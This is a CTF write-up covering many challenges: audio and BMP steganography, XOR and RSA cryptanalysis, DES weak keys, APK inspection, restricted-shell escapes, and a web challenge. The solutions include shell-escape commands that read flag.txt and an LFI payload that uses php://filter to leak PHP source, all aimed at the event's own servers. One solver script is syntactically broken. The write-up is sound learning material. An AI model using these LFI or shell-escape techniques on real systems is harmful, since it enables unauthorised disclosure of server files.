Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

